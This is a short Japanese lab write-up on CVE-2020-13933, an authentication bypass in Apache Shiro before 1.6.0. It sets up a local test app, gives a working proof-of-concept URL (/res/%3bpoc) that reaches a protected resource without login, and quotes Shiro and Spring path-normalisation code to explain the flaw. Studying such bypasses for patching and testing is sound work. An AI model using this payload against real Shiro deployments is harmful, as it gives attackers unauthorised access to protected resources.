
CVE-2020-13933 演習環境: shiro 認証バイパス脆弱性
shiro < 1.6.0 認証バイパス脆弱性
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/* リソースへのリクエスト時に、302でログインページにリダイレクトし認証を行う。NameController.java:
/res/{name}: name という名前のリソースをリクエスト(認証をトリガー)
/res/: リソースをリクエストしない(認証をトリガーしない)リクエストルートにリソース名を指定しない場合、認証はトリガーされず、リソースも返されません: http://127.0.0.1:8080/res/

リクエストルートにリソース名を指定した場合、302で認証ページにリダイレクトします: http://127.0.0.1:8080/res/poc

特定のPoCリクエストを構築してリソースを指定した場合、認証はトリガーされず、リソースが返されます: http://127.0.0.1:8080/res/%3bpoc (%3b は ; のURLエンコード)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}